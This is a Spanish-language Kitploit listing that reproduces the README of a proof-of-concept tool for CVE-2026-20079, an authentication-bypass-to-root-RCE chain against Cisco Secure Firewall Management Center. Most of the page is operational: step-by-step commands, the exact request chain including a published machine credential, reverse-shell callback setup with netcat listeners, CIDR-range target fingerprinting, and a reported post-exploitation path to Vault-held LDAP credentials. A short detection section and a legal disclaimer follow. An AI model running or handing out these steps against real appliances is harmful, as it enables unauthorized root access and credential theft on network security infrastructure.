Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-20079 — Implementa la cadena authentication-bypass-to-root-RCE CVE-2026-20079 contra Cisco Secure FMC usando los modos fingerprint, check, proof y exploit interactivo. | Kitploit
Herramientas/GitHubGitHub/cyberauth/cve-2026-20079
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónDesarrollo de Payloads
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

Implementa la cadena authentication-bypass-to-root-RCE CVE-2026-20079 contra Cisco Secure FMC usando los modos fingerprint, check, proof y exploit interactivo.

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-20079 Cisco Secure FMC PoC

Prueba de concepto en Python para la cadena de autenticación-bypass-to-root-RCE documentada públicamente en Cisco Secure Firewall Management Center para CVE-2026-20079.

Esto no es una vulnerabilidad nueva ni una cadena de explotación desarrollada de forma independiente. Es una implementación en entorno limpio (clean-room) de la secuencia de solicitudes publicada por VulnCheck, con modos separados de fingerprint, verificación, prueba de un solo uso y explotación interactiva.

Configuración rápida

Se requiere Python 3.10 o posterior. En Linux o macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help

root@kitploit:~
## Reemplaza las direcciones de ejemplo

Todos los valores `192.0.2.x` que aparecen a continuación son direcciones de documentación reservadas. Son marcadores de posición, no información de objetivos descubierta, y deben reemplazarse con valores de la evaluación autorizada. No se espera que los comandos funcionen sin cambios.

| Ejemplo | Significado | Qué usar en su lugar |
| --- | --- | --- |
| `https://192.0.2.10` | URL FMC de destino | El esquema, la dirección y el puerto FMC autorizados exactos |
| `192.0.2.20` | Dirección a la que el FMC se conecta de vuelta | La dirección IP o el nombre DNS del listener del operador **tal como es alcanzable desde el FMC** |
| `192.0.2.0/24` | CIDR de fingerprint de ejemplo | Un rango de red explícitamente autorizado |
| `4444` | Puerto TCP de callback/listener | Un puerto alcanzable aprobado en el sistema de callback |
| `0.0.0.0` | Dónde se enlaza el listener en el sistema del operador | Déjalo para escuchar en todas las interfaces locales, o usa una dirección de interfaz local |
| `192.0.2.10` en `--expected-callback-source` | Fuente esperada del callback | La dirección de origen del FMC tal como la observa el listener; omite esta opción cuando el NAT la haga incierta |
| `http://127.0.0.1:8080` | Proxy de intercepción local opcional | La URL del proxy que realmente está escuchando en el sistema del operador |

### Elegir `--callback-host`

Usa esta regla: **desde el punto de vista del FMC, ¿qué dirección llega al listener del operador?** Esa dirección es `--callback-host`.

| Trayecto de red | Valor típico de `--callback-host` |
| --- | --- |
| El operador y el FMC están en la misma red enrutada | La dirección LAN alcanzable del sistema del operador, como `eth0`, `en0` u otra |
| El operador llega al FMC a través de una VPN | La dirección de interfaz VPN alcanzable, como `tun0` o `utun`, cuando el FMC tiene una ruta hacia ella |
| El operador está detrás de NAT o de un cortafuegos | La IP pública o el nombre DNS cuyo puerto seleccionado se reenvía al sistema del operador |
| Se usa un túnel de callback o una VPS | El extremo del túnel o la dirección de la VPS alcanzables |

No uses `127.0.0.1` ni `0.0.0.0` para `--callback-host`. `127.0.0.1` se referiría al propio FMC, mientras que `0.0.0.0` es un valor de enlace de listener, no un destino. Asegúrate de que el enrutamiento, las reglas del cortafuegos y cualquier reenvío de puertos permitan al FMC alcanzar `--callback-host` en `--callback-port`.

`--listen-host` es solo local: selecciona la interfaz en la que espera el listener integrado. Su valor predeterminado, `0.0.0.0`, escucha en todas las interfaces locales. No le indica al FMC dónde conectarse. Por lo tanto, `--callback-host` y `--listen-host` pueden ser diferentes, especialmente a través de NAT.

### Ejemplo práctico: operador y FMC en la misma red

Supón este laboratorio ficticio, solo para documentación:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

Los valores se asignan al comando de la siguiente manera:

  • --target https://192.0.2.10 identifica el FMC que se está evaluando.
  • --callback-host 192.0.2.20 es la dirección eth0 del sistema del operador porque el FMC puede enrutar directamente hacia ella.
  • --callback-port 4444 es el puerto TCP aprobado utilizado por el callback.
  • --listen-host 0.0.0.0 hace que el listener integrado acepte el callback en cualquier interfaz local, incluida eth0.

Un comando de prueba de una sola ejecución para ese ejemplo sería:```bash python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0

root@kitploit:~
El flujo es: el operador envía solicitudes HTTPS a `192.0.2.10`, y luego la FMC
se conecta de vuelta a `192.0.2.20:4444` del operador. En una evaluación real,
reemplace ambas direcciones IP y confirme la ruta de retorno antes de ejecutar el
comando. Si la FMC no puede alcanzar la dirección `eth0` del operador, use la
dirección VPN, NAT, túnel o VPS accesible descrita anteriormente.

## Modos y referencia rápida de comandos

| Modo | Efecto en la red o en el objetivo | Qué establece el éxito |
| --- | --- | --- |
| `--fingerprint` | Solo solicitudes GET | Una posible superficie web de FMC; no es una confirmación de vulnerabilidad |
| `--check` | Mejora el estado de la sesión en el servidor | Omisión de autenticación y acceso a un token de acción |
| `--proof` | Escribe y ejecuta un payload de callback acotado | Ejecución como root y limpieza, sin un shell interactivo |
| `--exploit` | Escribe y ejecuta un payload FIFO/netcat | Un callback root interactivo, o verificación acotada con `--auto-verify` |

Establezca los tres valores de ejemplo una vez, reemplazando cada uno con el objetivo autorizado,
la dirección de callback del operador y el puerto:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Luego elige exactamente un modo:```bash

GET-only product fingerprint; start here

python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

Intrusive authentication-bypass check; changes server-side session state

python3 CVE-2026-20079.py --check --target "$FMC_URL"

One-shot root proof with integrated listener and verified cleanup

python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Interactive root callback; first start one listener in another terminal:

Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"

macOS built-in netcat: nc -lvn "$CALLBACK_PORT"

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

Bounded root verification and cleanup instead of an interactive shell

python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify

root@kitploit:~
> [!IMPORTANT]
> La identificación por fingerprinting es un paso heurístico de identificación de producto, no una comprobación de vulnerabilidad. `MATCH` y `LIKELY` no demuestran que el objetivo esté afectado o sea explotable, y `NO_MATCH` no descarta FMC. Los proxies inversos, las páginas de inicio de sesión personalizadas, los controles de acceso, los fallos de red o los cambios de producto pueden afectar al resultado.

El fingerprinting envía peticiones de red pero no ejecuta la cadena de bypass de autenticación ni de RCE. Lea los detalles de clasificación, las descripciones de modo y la advertencia sobre el estado de sesión a continuación antes de usar `--check`, `--proof` o `--exploit`.

> [!WARNING]
> No ejecute `--check`, `--proof` o `--exploit` sin autorización escrita explícita que cubra los cambios en el objetivo y el método de prueba. Lea primero los prerrequisitos, la limitación del estado de sesión y los requisitos de callback.

## Cómo funciona la cadena de explotación

La cadena activa suministra `CGISESSID=csm_processes` a `/login.cgi?logon=Continue`, usa la credencial de máquina publicada `report:snortrules`, extrae `sf_action_id` de `/ui/user/general`, escribe un script con formato Makeself a través de `validateLicense` y lo activa mediante `SF::UI::DataObjectLibrary::upgradeReadinessCall`.

## Prerrequisito importante

Una versión de software afectada no siempre es explotable en el momento de la prueba. La sesión `csm_processes`, creada al arrancar, debe seguir existiendo. La actividad normal de la interfaz de usuario autenticada y la limpieza de sesión pueden eliminarla. No reinicie un FMC de producción solo para satisfacer este prerrequisito.

## Limitación del estado de sesión

Los modos `--check`, `--proof` y `--exploit` actualizan la sesión `csm_processes` del lado del servidor. El PoC no intenta devolver esa sesión a su estado parcial original porque no existe ninguna operación de degradación documentada por el proveedor. Borrar una cookie de cliente no desharía el cambio del lado del servidor; cerrar la sesión, forzar su expiración o eliminar la entrada de la base de datos destruiría la sesión en lugar de restaurarla y podría interferir con la validación posterior o el comportamiento del dispositivo. Las funciones de limpieza automática eliminan únicamente los archivos temporales de RCE; no pretenden restaurar el estado de la sesión. `--fingerprint` no usa ni modifica esa sesión.

## Prerrequisitos de tiempo de ejecución del objetivo

Los dos payloads de callback requieren:

- Un `/bin/sh` compatible con estilo POSIX.
- `rm` y `command`.
- Uno de `nc`, `netcat` o `ncat` disponible en el `PATH` de ejecución del objetivo.
- Conectividad TCP saliente desde FMC a la dirección y puerto de callback proporcionados.

El payload interactivo `--exploit` además requiere `mkfifo`. El payload de un solo disparo `--proof` no crea un FIFO ni un shell interactivo.

El payload comprueba los tres nombres de comando netcat admitidos antes de intentar su callback. Si ninguno está presente, sale mediante sus traps de limpieza. Dado que el error ocurre dentro de la ruta de ejecución ciega del lado del servidor, el evaluador observa la ausencia de callback en lugar de un mensaje de error remoto detallado.

`--auto-verify` usa la librería socket de Python y no requiere una instalación local de netcat. El modo de escucha manual puede usar `nc`, `ncat`, `socat` u otro listener TCP seleccionado por el operador.

## Fingerprinting de FMC solo con GET

Realice el fingerprinting de una URL:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

Obtén la huella digital de un archivo que contenga una URL, dirección IP, nombre de host o valor host:puerto por línea:```bash python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10

root@kitploit:~
Obtén la huella digital de un rango de red explícitamente autorizado:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

Este modo es de bajo impacto, no literalmente pasivo: envía solicitudes de red. Las redirecciones están deshabilitadas globalmente, y la herramienta solo sigue una redirección HTTP real a la ruta exacta /ui/login que permanece en el mismo esquema, host y puerto. La respuesta de inicio de sesión debe ser exitosa (HTTP 2xx) antes de que la herramienta reporte MATCH o LIKELY. No adjunta la cookie de explotación, no envía credenciales, no envía solicitudes POST, no sigue redirecciones externas, no comprueba una versión ni demuestra CVE-2026-20079. MATCH significa que se observó la marca en una respuesta exitosa, LIKELY significa que la ruta de inicio de sesión exitosa del mismo origen coincidió sin la marca en el HTML crudo, y NO_MATCH significa que la huella delimitada no identificó FMC.

Solo --fingerprint acepta --targets-file o --network. Los modos check, proof y exploit siguen siendo deliberadamente operaciones de objetivo único. La expansión de archivos y CIDR se deduplica y limita mediante --max-hosts (por defecto 4096), mientras que la concurrencia se limita mediante --workers (por defecto 10, máximo 100).

Comprobación intrusiva de omisión de autenticación```bash

python3 CVE-2026-20079.py
--target https://192.0.2.10
--check

root@kitploit:~
El éxito requiere tanto la actualización de sesión HTTP 302 esperada como una respuesta 200 que contenga un `sf_action_id` específico de la sesión.

El PoC mantiene el token de acción completo en memoria para la cadena de solicitudes, pero imprime solo una huella abreviada. Trata los cuerpos de respuesta sin procesar que contengan el token completo como evidencia de sesión sensible y no los publiques.

Después de una comprobación exitosa, la sesión del lado del servidor permanece actualizada. La herramienta lo informa explícitamente y no intenta una reversión no documentada.

## Prueba de root de un solo disparo

Úsela cuando se requiera evidencia de ejecución de root pero no sea necesaria una shell interactiva:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

El modo de prueba siempre inicia el listener integrado antes de la solicitud de escritura del archivo. El objetivo envía marcadores de inicio/fin aleatorios, id, nombre de host, nombre del directorio de compilación y el estado de limpieza de /var/tmp/license.tmp, y luego se desconecta. El éxito requiere uid=0(root) y la ausencia verificada del script temporal. No crea un FIFO, no expone un canal de comandos interactivo ni ejecuta post-explotación específica del entorno.

Validación del shell root

Inicie un listener en el sistema de callback autorizado:```bash

Linux (common netcat variants)

nc -lvnp 4444

macOS built-in netcat

nc -lvn 4444

root@kitploit:~
Ejecuta un comando de escucha apropiado para el sistema de callback, no ambos.

Luego ejecuta:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

Validar el callback:```bash id hostname -f

root@kitploit:~
El PoC imprime la ruta exacta del FIFO temporal. Elimine solo esos dos artefactos de exploit conocidos del shell de FMC:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

Verificación automática de root y limpieza

El PoC puede ejecutar su propio listener de callback y realizar post-explotación acotada automáticamente:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify

root@kitploit:~
`--auto-verify` realiza únicamente las siguientes acciones a través del callback:

1. Ejecuta `id` y requiere `uid=0(root)`.
2. Obtiene `hostname -f` y el nombre del directorio de compilación de FMC.
3. Elimina el FIFO aleatorizado exacto creado por esta ejecución y `/var/tmp/license.tmp`.
4. Verifica que ambas rutas estén ausentes.
5. Finaliza el callback.

El payload generado también desvincula `/var/tmp/license.tmp` tan pronto como comienza la ejecución e instala manejadores de limpieza de salida de shell/señal para ambas rutas temporales. La verificación automática se sigue realizando y comprueba una limpieza explícita independiente. Si se intenta una escritura pero la prueba del callback o de la limpieza está incompleta, el PoC sale con código distinto de cero e imprime las dos rutas exactas que pueden requerir una revisión manual autorizada.

Si la dirección del callback difiere de la dirección de enlace local, especifique esta última por separado:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

Cuando la fuente del callback debe ser la propia dirección FMC y no hay NAT en el lado del callback, el listener puede rechazar conexiones no relacionadas:```bash python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10

root@kitploit:~
La falta de recepción de un callback no permite distinguir entre un objetivo parcheado, una sesión de arranque ausente, egreso bloqueado, una implementación de netcat no disponible/incompatible en el lado del objetivo u otro fallo en tiempo de ejecución.

La enumeración automática de Vault, la extracción de credenciales, la persistencia y el movimiento lateral se excluyen intencionalmente. Esas actividades no son necesarias para demostrar CVE-2026-20079 y dependen de la autorización y la configuración específicas del entorno.

## Por qué el PoC utiliza FIFO/netcat

La primera reproducción manual utilizó un callback Bash `/dev/tcp`. Ambas
etapas de explotación HTTP devolvieron las respuestas esperadas, pero no llegó ninguna conexión.
Eso demostró por qué el estado HTTP por sí solo no es prueba de ejecución y por qué
no se deben asumir funciones de callback específicas de la shell en un appliance.

El reintento exitoso usó el patrón de compatibilidad FIFO/netcat documentado en
la investigación pública. Por lo tanto, este PoC va directamente a ese patrón probado
y deliberadamente no reintenta el método `/dev/tcp` fallido. Comprueba la presencia de
`nc`, `netcat` o `ncat`, exige un callback real y `uid=0(root)` en
modo automático, y devuelve un valor distinto de cero cuando falta el callback o la prueba de limpieza.
No puede determinar la razón exacta de un fallo de callback ciego, así que
informa los requisitos plausibles de ejecución y red en lugar de afirmar
que el objetivo está parcheado.

## Alcance de post-explotación

Este repositorio automatiza el CVE desde un estado no autenticado hasta un callback de root verificado y la limpieza. **No** automatiza la recopilación de credenciales, la exportación de secretos ni el movimiento lateral.

Durante una evaluación autorizada, el shell root resultante expuso un servicio HashiCorp Vault que se ejecutaba localmente en el FMC. Un token de cliente de Vault local al appliance permitía el acceso a un registro de credenciales LDAP configurado, y esa credencial posteriormente completó un enlace LDAPS autorizado. Esta es una ruta de post-explotación observada en un entorno, no una propiedad universal ni un requisito previo de CVE-2026-20079.

Consulte [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) para conocer la historia de investigación en primera persona: los antecedentes públicos, el proceso de explotación manual, el callback fallido, el payload de compatibilidad exitoso, la ruta de post-explotación observada, las lecciones aprendidas y el desarrollo final de esta herramienta.

## Proxy opcional

Para observar las solicitudes en un proxy de intercepción:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

Estándar de evidencia

HTTP 302 o HTTP 200 por sí solos no demuestran RCE como root. Trate el problema de la siguiente manera:

  • La superficie FMC se identifica únicamente cuando --fingerprint observa el comportamiento de inicio de sesión limitado o la marca; esto no es un hallazgo de vulnerabilidad por sí mismo.
  • El bypass de autenticación se confirma únicamente cuando la sesión mejorada produce un sf_action_id válido.
  • El RCE como root se confirma únicamente cuando un listener controlado recibe la callback y id informa uid=0(root).

El listener integrado utiliza marcadores de verificación aleatorios por ejecución, limita la salida de la callback capturada, opcionalmente filtra el origen de la callback y devuelve un estado distinto de cero si no se puede verificar el root o la limpieza. El modo de listener manual no puede demostrar esas condiciones al proceso de Python; su salida exitosa significa que la cadena HTTP fue enviada, no que la ejecución como root fue observada de forma independiente.

Estado de salida

  • 0: el fingerprinting se completó con al menos un resultado sin errores; --check confirmó el bypass de autenticación; --proof o --auto-verify confirmaron root y limpieza; o el modo de listener manual envió correctamente la cadena HTTP esperada.
  • 1: el objetivo no coincidió con una respuesta esperada, la prueba de callback/root/limpieza falló o se produjo un error de solicitud/listener.
  • 2: argumentos de línea de comandos no válidos.
  • 130: interrumpido por el operador. Si se intentó escribir un payload, la herramienta también imprime las rutas exactas cuya limpieza queda sin verificar.

Oportunidades de detección

  • POST a /login.cgi?logon=Continue usando la cookie csm_processes y el usuario de máquina report.
  • Solicitudes a /ui/user/general inmediatamente después de la mejora de sesión.
  • Solicitudes validateLicense a /sajaxintf.cgi?rs=callServerFunc.
  • SF::UI::DataObjectLibrary::upgradeReadinessCall enviado a /pjb.cgi.
  • Creación o ejecución de /var/tmp/license.tmp que contenga un marcador Makeself.
  • Creación de FIFO en /tmp, un /bin/sh interactivo, nc y tráfico saliente inesperado desde FMC.

Desarrollo y pruebas

La configuración rápida instala la dependencia de ejecución de requirements.txt en un entorno virtual aislado. Ejecute las pruebas unitarias de la biblioteca estándar y las pruebas locales de integración simulada sin contactar con un objetivo público:```bash python3 -m unittest discover -s tests -v

root@kitploit:~
## Referencias

- [Aviso de Cisco](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Análisis técnico de VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## Aviso legal

Úselo únicamente en sistemas de su propiedad o con autorización escrita explícita para realizar pruebas.
Esta prueba de concepto puede cambiar el estado de la sesión en el servidor y ejecutar comandos
como root. Usted es responsable de obtener la autorización, definir un
alcance seguro y un límite de la prueba, proteger la evidencia recopilada y cumplir con
las leyes, contratos y reglas del proveedor o del programa aplicables. El autor y
los colaboradores no autorizan el acceso ilegal, la interrupción ni la recopilación de datos.

El software se proporciona "tal cual", sin garantía, y los autores y
los titulares de derechos de autor rechazan toda responsabilidad en la mayor medida permitida por la ley.
Consulte la [Licencia MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) para conocer los términos completos. Este aviso de uso no
modifica ni restringe la licencia.
Descargar herramienta